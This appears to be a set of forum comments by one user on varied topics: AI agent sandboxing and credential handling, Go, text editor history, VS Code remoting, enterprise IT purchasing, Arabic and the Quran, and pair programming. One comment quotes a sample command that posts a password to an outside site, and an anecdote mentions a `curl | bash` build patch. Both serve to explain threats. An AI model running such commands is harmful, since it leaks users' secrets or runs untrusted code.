eddythompson80

That’s not really true. The “exposing your credentials to the model” threat is in the model getting tricked into `curl -XPOST https://random.website -d ‘your_password’`. If the credentials are never available inside the sandbox and is only injected outside the sandbox then that’s an entire attack vector that is eliminated.

Further limiting the actual domains, URLs, and/or Methods a model can call on a given endpoint is also possible. It does get more complicated, but it is possible. It has the benefit of having these agents work with the actual services and tools everyone is using right now. Expecting every service to implement federated IAM permissions through an IdP like google or okta before a model can begin to use it is a losing battle. It’s like asking if the whole internet can change to fit a fine-grain access permissions.

Any system offering actual fine-grain access permissions (AWS IAM, Azure Entra, Google OAuth, even GitHub fine-grain tokens) is a pain in the ass to manage. You are then left with the “Connectors” companies that offer a proxy between you and the actual service you want to call with their own APIs and permission structure. Now you don’t call eBay APIs directly, you call a “Connector” that exposes a set of eBay functionality for you.

The scope of startup would be basically the “internet”. Just make sure you support the internet with a federated identity layer on top. It’s not impossible, and I’m pretty sure that’s Cloudflares current mission statement, but it’s hardly a simple task. If you want a fast go-to-market approach, you do the secret vault approach and piecemeal an http policy per scenario. They you can run the scenario in a “learning” mode, then come up with the list of allowed urls/domains/methods and deliver the thing. As opposed to (quite literally) re-writing the “internet”

Not really. Peugeot has been making 7 seaters for over half a century now.

Others have mentioned the main issues, but to add; you often end up writing “ugly” code to do basic concurrency operations. Often setting up channels or workgroups then a `go func {}(…); wg.Wait();` just feels wrong and makes you thing “I must be doing something wrong, there must a better way, but that’s IS the way. It’s just go syntax quirks at the end of the day, and makes you appreciate go’s simplicity over high abstractions.

In my experience the main hurdle was getting developers on the team onboard with go’s way. It felt like swimming upstream for my 6 year stint in go. I was in a very Java heavy “enterprise” but we were writing a kubernetes operator and I pushed to use golang because (a) I liked it, and (b) it was 2019 and the entire kubernetes ecosystem was primarily go.

To me golang was very simple and I drank Rob Pike’s and Google’s narrative of how easy it’s to get a competent “compute science major in college”-person to pick up go. What I experienced was a form of “you can’t teach an old dog new tricks”. Lazy (and I hate to use this word) developers who gotten so used to frameworks and IDEs doing all the heavy lifting for them in Java or C# had 0 appetite forgetting all the questionable patterns they learned over the years and adopt Go’s simplicity. It was very frustrating at time, yet gave me a good eye for the actual skilled talent in the organization vs the average enterprise developer persona.

Oh okay maybe I misunderstood because you said low end FOSS editors. When I think “low end editor” I think something like notepad or gedit.

I don’t know man, Linux desktop in the 90s was extremely rough. It wasn’t until the 2000s with KDE 2 (though really 3 IMO) and GNOME 2 that Linux desktop started showing promise. It was then subsequently dragged down with many alternatives and infighting. Personally I think only KDE kept slowly progressing better. I didn’t even like KDE until GNOME 3 pushed me to it. Every now and then I try GNOME 3 to see where it’s at, and just get baffled by the choices they make. Both Windows and Mac also had baffling choices along the way (in terms of desktop UX). Windows more so obviously, but they both would course correct every now and then. GNOME seems laser focused on some desktop UX vision I can’t even begin to understand.

Not really sure what low end FOSS editors you are referring to? Textmate?. The Monaco editor predated vscode by 4 years and it was an attempt to build a browser-based texteditor as a take at cloud9 which people thought was gonna be the “future of cloud development”. Vscode happened after Atom (which was not low end) made electron apps viable and cloud9 turned out not to be the future. Both were an attempt at SublimeText (which was not FOSS). SublimeText itself was a cross platform alternative for textmate.

The FOSS text editor space was always crowded between vim and emacs. FOSS alternatives would get measured against these 2 behemoths and it was a tall order to compete against. Now FOSS IDEs were a different story.

Java, C#, and C++ had many sophisticated and advanced IDEs, some FOSS some not. However, PHP, Python, Ruby, and JavaScript were quickly gaining huge mindshare and those developers didn’t want to install Visual Studio, Eclipse, NetBeans, or IntelliJ. It’s a tough proposition to tell a Ruby dev to install Java, then install Eclipse, then install an extension, then learn Eclipse nonesense just to edit your Ruby files vs “just open SublimeText and edit your files”. Most of what those developers wanted was just syntax highlighting and basic directory navigation to begin with. Atom/vscode were an attempt at SublimeText alternative. VScode was objectively better than Atom and TypeScript was also objectively better than CoffeeScript.

Nothing is stopping you from doing that still. Personally, I hate the latency in VNC/RDP not to mention the laggy UX, reduced colors, and the overall degradation in the experience.

The nice thing about vscode remoting design is that it’s not that. Even on a high-ish latency ssh connection, the editor buffers are local and the editor UX as a whole is local on your machine so things are still relatively smooth despite high pings on remote connections. Even with vim running in an ssh session, you’ll have a bad time when your latency is high. I know MOSH supposedly helps with that, but I had annoying issues with that too.

sshfs solves the laggness problem, but you are just mounting a remote file system while using your local machine for the build. VNC/RDP/SSH lets you use the remote machine resources for build, but you have to deal with the lag. Vscode remoting lets you use the local machine for the editor UX, and the remote machine resources for LSPs, debuggers, build, etc. yes the protocol doesn’t give you isolation between the 2 machines, but not sure it ever claimed that. I use it from my very under-powered laptop to keep all the heavy builds on a beefy desktop machine with an abundance or resources.

Look, I have no idea what the tool I’m using does, how it works, or what problems it solves. All I know is it doesn’t work as I want it to.

Back in 2008 I was working in a team that was trying to reduce build breaks in a company. It was rudimentary implementation of current CI systems meant to avoid breaking the nightly builds. It just ran a `make build` on a clean machine and let you see the output when it was done. One guy opened a “sever security vulnerability” because in his patch he replaced build target with the equivalent of a `curl | bash` and proclaimed that he hacked the build system. “You should verify what the patch is doing before running it” he said.

I think you have to keep in mind how IT contracts and purchase decisions are made in large enterprises. You will almost never have an on-the-ground engineer making those decisions. CTOs collect requirements from other high-level managers who collect requirements from other managers and eventually a final list of checkboxes bubble up to the CTO. The CTO evaluates the asks and comes up with their own checklist of features they are looking for then go shopping.

Solution providers then try to check as many boxes as they can on the list. It doesn't have to make sense; you just want to check the box. When a decision is made, the chosen solution gets to the individual engineers to "figure it out". There is also a considerable amount of CYA in all of these decisions. You never want a project to get delayed of not implemented because you as a CTO forgot to check a box. The engineers using a product could decide that the box check doesn't work for them and they can then workaround it, but management (and the solution provider) get to CYA based on whether a box is checked or not.

My favorite flavor of this is when things are lost in translation, and a box gets accidently checked without understanding the actual requirement. Then it suddenly becomes a de-facto feature request because "the box was already checked".

There is a difference between busy for no reason and busy because of information density. The busy examples in this article aren’t information dense. They just have a ton of different flower types, random animals, background characters, unrelated structures, many different colors and many different shades of those colors, etc. But the information they are trying to communicate is minimal.

A bus schedule or a parking sign is very information dense. It’s trying to communicate a lot in a limited space and as a result require getting used to.

I was thinking about that too recently. We have a new service that we’re trying to publish an SDK for. I don’t like the SDK that was created and kept nitpicking about how verbose certain things are and how “unergonomic” it feels (long tedious type names, annoying redundant constructs, etc) But then I was wondering if for a brand new service/SDK if anyone cares anymore and how much fuss i should be making about that.

To some extend. Most Arabs would understaff 95% of the words and sentences in the Quran with any special training. Some vocabulary is no longer used and you might need to look those words up. What you often need training on however is called Tafser which is about comprehension. To correctly interpreting what those phrases and analogies imply or trying to communicate with the correct context and be able to correlate different parts of the Quran together. It’s like the difference between an average layman being able to “read” a quantum mechanics book, and actually comprehend it.

However, as mentioned most Arabs also believe that Quranic Arabic is that perfection. As a result, you don’t need to “improve” Arabic, individual people need to learn more Quranic Arabic that’s all. You would frequently see religious figures speaking in Al-Fusha to sound closer to Quranic Arabic. Not quite speaking in the convoluted nonsensical way of the Quran, but close enough to trick people’s ear into it. K-12 education teaches “Arabic” classes to every kid where they learn the “proper” Arabic often using the Quran and poetry from around the same time as the Quran as the reading and study material.

I’m basing my assumptions based on a book called Rabid which suggested (if memory serves correctly) that the rabies vaccine (developed in 1885) was the one of the early catalysts for the wide acceptance of germ theory among the American public. If you want a random source here is one https://www.civilwarmed.org/germ-theory-civil-war/

> To his credit, Dr. Lister crossed the Atlantic to deliver a lecture to a hostile American audience to try and convince them of his methods in 1876.

> Our own Jake Wynn argues that it wasn’t until the death of President Garfield in 1881 that the American public and physicians began to turn toward germ theory. His slow and painful descent from an assassination attempt was well documented and publicized at the time.

There is a difference between information transmission and it getting absorbed into the public opinion and understanding so much that a constitutional amendment would consider it. To go from Joseph Lister’s and Louis Pasteur’s work in the 1860s and think that politicians and the general voting public in the US passing a constitutional amendment that considers it in a handful of years just doesn’t make much sense.

Arabic has absolutely a special place in Islam and to Muslims. It’s the language god chose deliberately to communicate his final message to humans, as a well as the language where religious practices in is the “most rewarded” compared to reciting rituals in other languages. Islam and Arabic are permanently intertwined because the Quran, the literal word of God, is very intentionally in Arabic

Germ theory originated in Europe and it took a couple of decades before the knowledge transfer made it to the US and started getting accepted. It took a while for it to be come generally accepted in Europe too. I'm hazy on the exact dates, but even accepting the 1860 date, it's far too close to 1868 to assume politicians and the general public in the US (or even in Europe in 8 years) would have passed a constitutional amendment with full acceptance or understanding of germ theory.

I have seen that too many times too in big companies, but I wouldn't say that it results in nothinghappens.jpg

It results in the equivalent of treating an infection with Tylenol rather than antibiotics. The exact symptom reported by a "Leader" will usually get fixed, but in a more of a "KPI hacking" rather than a fundamental fix to the problem. I have seen a "Leader" point to the staggering number of support tickets as a problem then have teams make it incredibility difficult to open a support ticket. The number of support tickets plummets and the first report to instruct their team to do so gets rewarded and all other teams follow suit. Have a leader point to complexity of the sign up process, and have teams "simplify" the signup process by just taking an email to create the account, then make the experience of doing anything post sign up a broken mess because you forgot to go into settings and filling up all the required details. Or have a leader complain about the install process like in this example, and have teams just bundle massive dependencies or make wide horrific modifications to the users machine to "simplify" the install process. Now suddenly installing a video editing software also modifies your default video player, your HDR or scaling settings, your audio device setup, and your keyboard layout (because why not?)

Maybe I was wrong in saying it “declares it perfect”, but the Quran declares itself as “sent in Arabic, clear and free from crookedness” or in “a clear Arabic tongue”. Scholars (from Ahl Al Salaf, so they have more authority) often interpreted that as God deliberately choosing Arabic to communicate his message as Arabic was the best language that God chose to communicate his final message in its clearest form to humans. There are further sayings by the prophet that reciting the Quran and prayers in full proper Arabic has a special place to God.

There were modest attempts at reform and improvements, but they were never titled as “improvements” or “modernization” especially that the latter is a word with negative connotations in Islam, but rather as something more pragmatic or logistical like the adoption of new words, or dropping some complex rule or style.

There is indeed a great diversity in Arabic, but there is 1 “correct” Arabic which is the Quranic/Classical Arabic. Egyptian, Levantine, Hejazi, and Maghrabie are only some of the main variations on Arabic, but all those speakers would agree that it’s not the “correct” Arabic. Reciting the Quran or quoting the prophet in such dialect would be extremely disrespectful. Most religious authorities might speak in that dialect to help with communication, then revert to Classical Arabic when quoting either of those.

The most “moderination” Classical Arabic got was Modern Standard Arabic (MSA) which was really about accepting some simplified grammar and prose in professional writing rather than introducing anything completely novel or new. It made it acceptable to write books or articles in simpler prose rather than requiring or expecting the extremely elaborate writing style of true Classical Arabic. Most importantly, it didn’t forbid or declare anything from Classical Arabic “outdated” or “wrong” but rather just saying “it’s a bit too much, maybe”

The resistance to modify the typography is definitely there, but I wasn’t saying that it will necessarily succeed in preventing the modification. The Quran in its 7th century form will have to remain the authority on Arabic, followed by all the writings and literature of the following centuries. However you can find the Quran written phonetically in “Academic Romanization” format as Muslim view it more of a translation of sorts, rather than an actual reproduction of the Quran. I don’t know of any “Arabiz” versions of the Quran, and I suspect it would be viewed as disrespectful by many, but I won’t be surprised if some were on the internet or would appear in print at some point.

FWIW, I don’t think many (of the reasonable people) would oppose the changes proposed by this typography changes, but I suspect that most would either view it as strange or unnecessary because at the end of the day it just looks like a broken font more than anything.

Edit: Theology gets complicated but The Mu'tazilite split in the 9-10th century was mainly about the true nature of the Quran. They argued that it was a created vs being an eternal attribute of God. They lost the debate in the Muslim world and the opinion that won was that the Quran was the literate word of God that is eternal and wasn't created but always existed. The debate wasn't about language, but language (being the medium of the Quran) was part of it where Mu'tazilite had to try to define the difference between expression, and linguistic limitations in communication. They lost the debate and their influence weaned in general though left remnants in post-prophet history of Islam.

When I used to communicate in Arabiz I would rarely use 5, 6 or 9 too, but I get why they are there.

The problem with 6 and 9 is that there are 2 very unrelated sounds for t and d in Arabic. Mixing them is a hallmark of non-native speakers tell signs and to an Arabic speaker’s ear sounds broken. It’s like when German speakers mix th and z sounds in English. It’s very jarring to the ear and requires you to parse the same word you’re reading twice in your mind to tell whether it was 6 or t (or 9 or d) especially that very similar words might exist like 6atreb and tarteb or trab and 6arb. I usually don’t use 6 and 9 either except when I want to emphasis the 6 or 9 sound in a word.

Kh and gh are problematic mainly because you’re relying on the special rule in Arabic that you can’t have 2 constants like k, g and h sounds after one another in a word. You’re relying on the wrongness of a kh or gh construct in Arabic to realize they must be standing for something else. I prefer them tbh, but I get the desire of some to have symbols for them.

غ Is sometimes 3’ but I have seen more gh than 3’ especially that 3’ mixes the academic romanization with the “Arabiz” romanization

You’re up against a tall order trying to modernize Arabic. Arabic is half a language and half a religious practice in itself. Arabic speakers, who are absolute majority Muslims, have explicit statement from God that Arabic is a holy language sent by God as the most perfect language PERIOD. It’s why he chose it for the Quran, and why it should remain unchanged. All attempts to “improve” it would be an admission of some problem or some deficiency which is heresy in itself. How can you improve on what God has already declared perfect? The solution is often to go back to the older style of Arabic instead of your local dialect if you really want the perfect Arabic, not to invent new concepts.

Even though Arabic script itself isn’t necessarily mentioned in the Quran and Muslims will generally accept that the script itself was “standardized” after the Quran, they would also argue the concept of “Authority of Al-Salaf” which is the belief that the closer the generation is to the prophet, the more authority that generation had on whatever topics they ruled on. There is an important hierarchy of authority in Islam where the Quran is at the top, followed by any saying or a judgement by the prophet, then followed by those of his direct followers, then their followers, then scholars of their followers, then their followers, all the way down to today. Since according to the most accepted story, Arabic and its script were “standardized” in the few decades following the Muslim prophet by his direct followers, you can’t really improve it. Or rather, you have to have a really enormous social influence and respect to be able to even make the slight modifications. There has been few influential Caliphates or scholars in history that have been able to do so, but it’s hard to imagine anyone today with that level of importance or influence.

“Act in such a way that you treat humanity, whether in your own person or in the person of any other, never merely as a means to an end, but always at the same time as an end.”

Huh, I guess TIL there is a controversy around Omarchy. I generally dismissed it as a serious distro after 5 second once realized it encourages using the AUR as your default package feed. The AUR is useful, but to me it’s something to be very aware of when you’re installing some software. Encouraging people to install everything through it is a crazy way to configure a distro. I just assumed it’s a distro for a very different target audience so kept my thoughts to myself

The only way to generate a human-only net is to figure out how to remove all economical incentives from there. The “golden age of the internet” a lot of people, including myself, are nostalgic for had very very little economical incentives. I missed usenet, but I remember being active on small forums in the late 90s and early 2000s that were almost entirely passion projects. I recall a huge controversy in one forum when the guy who was maintaining it asked if it’s ok if he puts a banner ad at the top because someone was offering him $200 to advertise another forum.

Removing the economical incentives is very hard though. Even HN is gamed by many tech companies and projects. Reddit is obviously a lost cause. It’s a sad state of affairs, but I don’t think there is an alternative.

Do you have guarantees that the price of the model you’re using in production today won’t increase in the future?

surely it depends on how the data is labeled or classified. When a model is trained on fiction and medical journals, it doesn't assume that a healing potion is the right answer for a runny nose.

I’ve done that in my own tmux sessions. But due to the ungodly way tmux handles terminal sizing (which I don’t know how else they could) I assumed it was a me-problem.

Well now i feel stupid. For 10+ years I thought it was peer not pair for some reason, but pair programming makes much more sense.

And lol yes! if you knew the dude who wanted to try that, you would know what an “extrovert” was. He was the most extroverted engineer dude I have met to date.

You clearly need more Lispmaxxing

I don't understand the fixation the industry has on multi-player development either. Zed isn't the first. It's been 10 or 15 years since I started seeing multi-player development (sometimes called peer programming in an earlier iteration) being championed in various ways. VS, Intellij, Eclipse, and vscode had plugins for it and all of them are from the 2015-2018 time. One can even say that the Google Wave demo from 2007 was one of the earliest demonstrations for this concept.

I even worked on a team where one engineer loved the idea and championed doing it as early as 2013. Most of these IDE extensions didn't exist back then. He ended up picking a buddy, and they moved to the same office, hooked 2 keyboards and 2 mice into the same PC and spend literally the entire day alternating who's writing code in the same IDE.

I think the concept was supposed to be about helping developers share their skills. Every developer has an experience of looking over somebody's shoulder and having an "oh shit, I didn't realize there is a shortcut/tool/command for that" moment. And the idea with multi-player programming is to get you to see that and learn from it more. But. It. Doesn't. Work.

I was borrowing a joke from cycling.

I was drawing the distinction more between productivity vs entertainment uses, as opposed to power vs regular users.

The problem with the later is AI’s entire sales pitch is to flatten those definition. If you can type it, the AI should be able to figure it out for the most part. You don’t even have to be very clear in your typing. You can just address the AI casually as you would address a person.

Entertainment apps are about increasing engagement. Like an AI driven game, ARGs, or this site. For example, Sora app was an AI entertainment app but it obviously was the wrong approach. I think there is an untapped potential there, but it remains under-explored because most are focusing on productivity now.